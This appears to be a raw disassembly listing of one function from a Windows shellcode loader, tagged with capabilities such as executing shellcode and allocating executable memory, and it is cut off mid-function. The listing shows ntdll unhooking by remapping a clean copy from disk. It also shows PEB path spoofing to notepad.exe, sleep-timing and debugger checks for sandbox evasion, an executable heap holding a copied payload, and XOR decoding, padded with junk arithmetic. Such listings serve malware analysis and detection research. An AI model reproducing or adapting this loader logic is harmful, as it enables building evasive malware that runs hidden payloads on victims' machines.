Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x978
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8e0], xmm6
mov dword [rbp + 0x920], ecx
mov qword [rbp + 0x928], rdx
call fcn.140002d60
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x868], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x860], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x858], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8d8], rax
mov ecx, 0x220
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x850], rax
mov dword [rbp + 0x8d0], 0
mov dword [rbp + 0x8cc], 0
mov dword [rbp + 0x8d4], 0
jmp 0x140001578
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x850]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x8d4], 1
cmp dword [rbp + 0x8d4], 0x87
jle 0x14000152b
mov dword [rbp + 0x8d4], 0
mov dword [rbp + 0x8d4], 0
jmp 0x1400015f7
mov eax, dword [rbp + 0x8d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x850]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400015c6
add dword [rbp + 0x8d0], 1
jmp 0x1400015f0
mov eax, dword [rbp + 0x8d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x850]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400015f0
add dword [rbp + 0x8cc], 1
add dword [rbp + 0x8d4], 1
cmp dword [rbp + 0x8d4], 0x87
jle 0x14000159a
mov rax, qword [rbp + 0x850]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x8d8], 0
jne 0x140001874
mov dword [rbp + 0x8c0], 0
mov dword [rbp + 0x84c], 0x34e
mov dword [rbp + 0x848], 0x1a7
mov eax, dword [rbp + 0x84c]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x840], rax
mov dword [rbp + 0x8c8], 0
jmp 0x140001691
mov eax, dword [rbp + 0x8c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x840]
add rdx, rax
mov eax, dword [rbp + 0x8c8]
mov dword [rdx], eax
add dword [rbp + 0x8c8], 1
mov eax, dword [rbp + 0x8c8]
cmp eax, dword [rbp + 0x848]
jl 0x140001668
mov dword [rbp + 0x8c8], 1
jmp 0x140001723
mov eax, dword [rbp + 0x8c8]
mov dword [rbp + 0x8c4], eax
jmp 0x1400016fa
mov edx, dword [rbp + 0x8c8]
mov eax, dword [rbp + 0x8c4]
add edx, eax
mov eax, dword [rbp + 0x8c8]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x8c4]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x8c4], 1
mov eax, dword [rbp + 0x848]
sub eax, dword [rbp + 0x8c8]
mov edx, dword [rbp + 0x8c8]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x8c4], eax
jle 0x1400016b9
add dword [rbp + 0x8c8], 1
mov eax, dword [rbp + 0x8c8]
cmp eax, dword [rbp + 0x848]
jl 0x1400016ab
cmp dword [rbp + 0x84c], 2
jle 0x140001767
mov eax, dword [rbp + 0x8c0]
lea edx, [rax + 1]
mov dword [rbp + 0x8c0], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x8c8], 1
jmp 0x1400017cb
mov eax, dword [rbp + 0x8c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400017c4
mov eax, dword [rbp + 0x8c8]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x8c0]
lea edx, [rax + 1]
mov dword [rbp + 0x8c0], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x840]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x8c8], 1
mov eax, dword [rbp + 0x8c8]
cmp eax, dword [rbp + 0x848]
jl 0x140001773
mov dword [rbp + 0x83c], 2
mov dword [rbp + 0x8bc], 0
mov dword [rbp + 0x8c8], 0
jmp 0x140001827
mov eax, dword [rbp + 0x8c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001820
add dword [rbp + 0x8bc], 1
add dword [rbp + 0x8c8], 1
mov eax, dword [rbp + 0x8c8]
cmp eax, dword [rbp + 0x83c]
jl 0x1400017f9
mov rax, qword [rbp + 0x840]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8d8], rax
cmp qword [rbp + 0x8d8], 0
je 0x140001e6f
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x680]
mov rax, qword [rbp + 0x858]
mov r10, qword [rbp + 0x8d8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x830], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x828], rax
mov ecx, 0x11ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x820], rax
mov dword [rbp + 0x8b8], 0
mov dword [rbp + 0x81c], 1
mov dword [rbp + 0x8b4], 0
jmp 0x1400019ba
mov dword [rbp + 0x8b0], 0
jmp 0x1400019aa
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x8b4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x820]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x8b0]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x8b0], 1
cmp dword [rbp + 0x8b0], 0x24
jle 0x140001944
add dword [rbp + 0x8b4], 1
cmp dword [rbp + 0x8b4], 0x1e
jle 0x140001938
mov dword [rbp + 0x8b4], 0
jmp 0x140001a37
mov dword [rbp + 0x8b0], 0
jmp 0x140001a27
mov eax, dword [rbp + 0x8b4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x820]
add rdx, rax
mov eax, dword [rbp + 0x8b0]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001a20
add dword [rbp + 0x8b8], 1
add dword [rbp + 0x8b0], 1
cmp dword [rbp + 0x8b0], 0x24
jle 0x1400019df
add dword [rbp + 0x8b4], 1
cmp dword [rbp + 0x8b4], 0x1e
jle 0x1400019d3
cmp dword [rbp + 0x8b8], 0x23d
je 0x140001a56
mov dword [rbp + 0x81c], 0
mov rax, qword [rbp + 0x820]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x828]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x830]
add rax, rdx
mov qword [rbp + 0x7f8], rax
mov word [rbp + 0x8ae], 0
jmp 0x140001e57
mov ecx, 0x274
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov ecx, 0x274
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov ecx, 0x274
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov ecx, 0x274
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x8a4], 0x9c
mov dword [rbp + 0x8a8], 0
jmp 0x140001c78
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8a8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8a8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x8a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov edx, dword [rbp + 0x8a8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x8a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov edx, dword [rbp + 0x8a8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x8a4], 1
add dword [rbp + 0x8a8], 1
cmp dword [rbp + 0x8a8], 0x9c
jle 0x140001b6c
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7f8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x8ae]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001e46
mov dword [rbp + 0x8a0], 0xffffffff
add dword [rbp + 0x8a0], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0xb2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004110
movq rax, xmm0
mov qword [rbp + 0x7c8], rax
cmp dword [rbp + 0x8a0], 0x29d
jle 0x140001d28
mov dword [rbp + 0x648], 0
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x648]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x808]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x648]
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x648]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x8ae]
add eax, 1
mov word [rbp + 0x8ae], ax
mov rax, qword [rbp + 0x7f8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x8ae], ax
jb 0x140001b0f
mov dword [rbp + 0x89c], 0
jmp 0x140001ebe
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d50
movq rax, xmm0
mov qword [rbp + 0x6a0], rax
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x26d
jle 0x140001e7b
mov dword [rbp + 0x64c], 0
mov rax, qword [rbp + 0x868]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x64c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7c0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x658]
add rax, 0x3c
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
je 0x140002c8b
mov rax, qword [rbp + 0x7b0]
mov edx, 0x40b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x7ac], eax
mov dword [rbp + 0x7a8], 0x397
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
call rax
mov dword [rbp + 0x79c], eax
mov eax, dword [rbp + 0x7a8]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x7a0]
call rax
mov dword [rbp + 0x798], eax
mov eax, dword [rbp + 0x798]
sub eax, dword [rbp + 0x79c]
cmp eax, 0x365
jbe 0x140002c8b
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
je 0x140002c8b
mov rax, qword [rbp + 0x790]
mov edx, 0x5e1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x78c], eax
mov dword [rbp + 0x644], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x644]
mov r8, qword [rbp + 0x780]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x644]
cmp eax, 1
je 0x140002c8b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
jne 0x140002c8b
lea rax, str.uirxtfoidfpvqcee.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
jne 0x140002c8b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
call rax
mov dword [rbp + 0x75c], eax
mov ecx, 0x29c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x760]
call rax
mov dword [rbp + 0x758], eax
mov eax, dword [rbp + 0x758]
sub eax, dword [rbp + 0x75c]
cmp eax, 0x26a
jbe 0x140002c8b
mov qword [rbp + 0x890], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140002279
mov rax, qword [rbp + 0x750]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x748]
mov r9d, 0x3000
mov r8d, 0x4a8
mov edx, 0
call rax
mov qword [rbp + 0x890], rax
cmp qword [rbp + 0x890], 0
je 0x140002c8b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
jne 0x140002c8b
mov dword [rbp + 0x734], 0x248
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov eax, dword [rbp + 0x734]
mov r8, qword [rbp + 0x728]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x216
jbe 0x140002c8b
lea rax, [rbp + 0x120]
lea rdx, [0x140006150]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x860]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x860]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x710]
mov r8d, 0
mov edx, 0x515
mov ecx, 0x40000
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov r9, qword [rbp + 0x708]
mov r8d, 0x515
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6f8], rax
mov ecx, 0x1048
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov ecx, 0x1048
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x88c], 0
jmp 0x140002512
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x208
jle 0x140002488
mov dword [rbp + 0x88c], 0
jmp 0x140002580
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x88c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6e8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003f60
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x208
jle 0x14000252e
mov rax, qword [rbp + 0x868]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x6f8]
mov r9, qword [rbp + 0x6e0]
mov r8d, 0x515
mov rcx, rax
call r9
mov dword [rbp + 0x884], 0
mov dword [rbp + 0x880], 0
movabs rax, 0x4fd1bdd6e4c3331d
movabs rdx, 0x3c0a434c47a406ce
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x5131418c362c6ad6
movabs rdx, 0x39f95c13d84b7e96
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xbeb6a1f5a17ebcff
movabs rdx, 0xed6e64f5b0f06f21
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x64c2d89043d64bc6
movabs rdx, 0x3ca016e646483347
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xba2dfc8bb7381376
movabs rdx, 0x671a1c68b415c117
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x46a615dfdef45953
movabs rdx, 0x5d3cbd254e1597e3
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x20df669739eaccbe
movabs rdx, 0x8fd24bac564aba19
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x97e0be6c8fd24bac
movabs rdx, 0xc2e625443cf129
mov qword [rbp + 0x10c], rax
mov qword [rbp + 0x114], rdx
movabs rax, 0xddd4755b77887a1b
movabs rdx, 0xd4c0fe0a4a2747ee
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x397d8f1a5b970129
movabs rdx, 0x71705a8d8f067775
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x128c354bab9908e2
movabs rdx, 0x1f41e964cb643f90
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x9444974fc1309b75
movabs rdx, 0xc4cf37e23bdba84e
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x693826ba9d13ea77
movabs rdx, 0x88e05aacbe45a9be
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x3edd725dfe88e0
mov qword [rbp + 0xe], rax
mov dword [rbp + 0x888], 0
jmp 0x1400029bc
mov dword [rbp + 0x87c], 0xffffffff
mov ecx, 0x12c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
add dword [rbp + 0x87c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movsd xmm1, qword [0x140006670]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x87c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x87c], 0x256
jle 0x1400027b6
cmp dword [rbp + 0x884], 0x54
jne 0x1400028a2
mov eax, dword [rbp + 0x888]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x884]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x888]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x884], 0
jmp 0x1400029b5
mov eax, dword [rbp + 0x888]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x884]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x888]
cdqe
mov byte [rbp + rax + 0x20], dl
mov ecx, 0xb58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x878], 0
jmp 0x140002938
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movsd xmm1, qword [0x140006670]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x16a
jle 0x1400028ea
mov dword [rbp + 0x878], 0
jmp 0x1400029a2
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*8]
